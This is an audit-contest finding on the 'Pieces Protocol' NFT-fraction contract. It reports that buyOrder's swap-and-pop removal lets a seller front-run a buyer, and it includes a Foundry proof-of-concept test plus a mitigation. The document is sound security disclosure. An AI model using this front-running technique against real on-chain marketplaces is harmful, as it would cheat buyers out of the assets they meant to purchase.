Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

MEV(front running) attack is vulnerable on buyOrder function

Description:

When an order is purchased, the remaining orders are shifted,
causing the same orderIndex to reference a different order.
This behavior is vulnerable to MEV(front running) attacks.

function buyOrder(uint256 orderIndex, address seller) external payable {
...
@> s_userToSellOrders[seller][orderIndex] = s_userToSellOrders[seller][s_userToSellOrders[seller].length - 1];
@> s_userToSellOrders[seller].pop();
...
}

Impact:

If a seller places multiple sell orders first and detects a buyer sending a
transaction to purchase their order,
the seller can frontrun by buying their own order. This shifts the other orders,
causing the buyer to purchase the wrong one.

Proof of Concept:

add the following in test/unit/TokenDividerTest.t.sol

address public HACKER = makeAddr("hacker");
...
function testMEVAttack() public {
vm.deal(HACKER, STARTING_USER_BALANCE);
erc721Mock.mint(HACKER);
uint256 tokenId = 1;
assertEq(erc721Mock.ownerOf(tokenId), HACKER);
vm.startPrank(HACKER);
// 1.divide nft
erc721Mock.approve(address(tokenDivider), tokenId);
tokenDivider.divideNft(address(erc721Mock), tokenId, AMOUNT);
ERC20Mock erc20Mock = ERC20Mock(tokenDivider.getErc20InfoFromNft(address(erc721Mock)).erc20Address);
// 2.put 2 sell orders with same price but different amount
uint256 sellAmount1 = AMOUNT / 2;
uint256 sellAmount2 = 1;
uint256 price = 1e18;
erc20Mock.approve(address(tokenDivider), sellAmount1);
tokenDivider.sellErc20(address(erc721Mock), price, sellAmount1);
erc20Mock.approve(address(tokenDivider), sellAmount2);
tokenDivider.sellErc20(address(erc721Mock), price, sellAmount2);
assertEq(tokenDivider.getOrderPrice(HACKER, 0), price);
assertEq(tokenDivider.getOrderPrice(HACKER, 1), price);
vm.stopPrank();
// 3.when another user buy the 1st order, seller can front run to buy the 1st order, causing user accidentally buy the 2nd order
uint256 fee = price / 100;
uint256 sellerFee = fee / 2;
uint256 sentValue = price + sellerFee;
vm.prank(HACKER);
tokenDivider.buyOrder{value: sentValue}(0, HACKER);
vm.prank(USER2);
tokenDivider.buyOrder{value: sentValue}(0, HACKER);
assertEq(tokenDivider.getBalanceOf(USER2, address(erc20Mock)), sellAmount2);
}

then run forge test --mt testMEVAttack, the final fraction token USER2 got is only 1 instead of half of the total amount.

Recommended Mitigation:

Utilize a mapping with the nonce as the key to store orders, ensuring the nonce only increments.

Updates

Lead Judging Commences

fishy Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Front-running

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.